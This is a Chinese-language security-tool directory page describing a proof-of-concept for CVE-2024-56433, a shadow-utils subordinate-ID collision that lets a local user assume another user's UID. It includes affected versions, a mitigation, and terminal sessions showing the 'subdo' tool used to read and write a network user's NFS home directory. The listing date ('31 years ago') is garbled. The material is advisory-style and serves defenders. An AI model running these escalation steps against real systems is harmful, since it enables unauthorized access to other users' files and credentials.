Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-56433 — CVE-2024-56433 的概念验证漏洞利用,演示了通过 shadow-utils 从属 ID 冲突实现权限提升,从而访问其他用户的数据。 | Kitploit
工具/GitHubGitHub/jonnywhatshisface/cve-2024-56433
权限提升漏洞分析漏洞利用渗透测试红队
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

CVE-2024-56433 的概念验证漏洞利用,演示了通过 shadow-utils 从属 ID 冲突实现权限提升,从而访问其他用户的数据。

查看仓库
31年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-56433

shadow-utils - 本地用户不安全的默认从属 ID 分配

摘要

默认的从属 ID 分配存在与现有用户 ID 冲突的风险,可能导致任意更改 UID/GID,并未经授权访问数据和网络资源。

受影响版本

基础软件包:shadow-utils 4.4 - 4.17.0

受影响的 Linux 发行版

已确认:Debian 12、Red Hat Enterprise Linux 9、Red Hat Enterprise Linux 10。所有使用 shadow-utils 4.4 及更高版本的新近发行版均受影响。

参考

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

详情

Shadow-utils 开始随附默认配置,将从属 ID 委派给本地用户。

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

当通过任何 shadow-utils 工具(adduser、useradd 以及系统安装期间)向系统添加新的本地用户时,每个用户都会获得一个从 UID/GID 100000 开始的 65,536 个 UID 和 GID 的唯一块。例如,以下系统添加了两个本地用户:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

从属 ID 配置将指定范围的使用权委派给用户命名空间中的用户,最常用于无根容器化。然而,容器化工具并非进入命名空间的必要条件,可以通过多种方式实现,包括使用默认的 shadow-utils 工具 'newuidmap' 和 'newgidmap'。这允许用户任意更改为委派给他们的范围内任何 ID 的 POSIX 用户 ID。

示例

在以下示例中,用户 ID Jon - UID/GID 1000 - 被委派了一个从 100000 开始的 65,536 个 ID 的 UID/GID 范围。网络通过 LDAP 配置了其他 ID 用于集中式用户管理和登录,网络用户的主目录位于 NFS 上。

UID/GID 108372 属于网络用户 msteph。

利用安装期间创建的默认从属 UID/GID 分配,本地用户可以切换到网络用户的 ID,然后访问 NFS 主目录,以该用户身份读写文件。

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

虽然 NFS 被用作示例,但这不仅限于 NFS 访问。Kerberos 凭据可能存储在本地系统上的基础设施将面临风险,因为凭据可能从本地系统被获取,从而可能访问其他 kerberized 服务。

缓解措施

应删除 /etc/login.defs 中的 SUB_ 条目。还应删除 /etc/subuid 和 /etc/subgid 中任何非预期的条目。

POC

用于将 UID/GID 更改为所需分配的从属 ID 的 POC 附在 subdo.c 和 subdo.py 中。

POC 将内部和外部 ID 映射到相同 ID,然后在命名空间内 setuid() 和 setgid() 到该 ID,这意味着在命名空间内的 shell 中执行的所有命令现在都以该 uid/gid 在主机上执行。

subdo.c

允许以所需的从属 UID/GID 执行任何命令和参数。

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

以所需的从属 UID/GID 执行 /bin/bash。

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
下载工具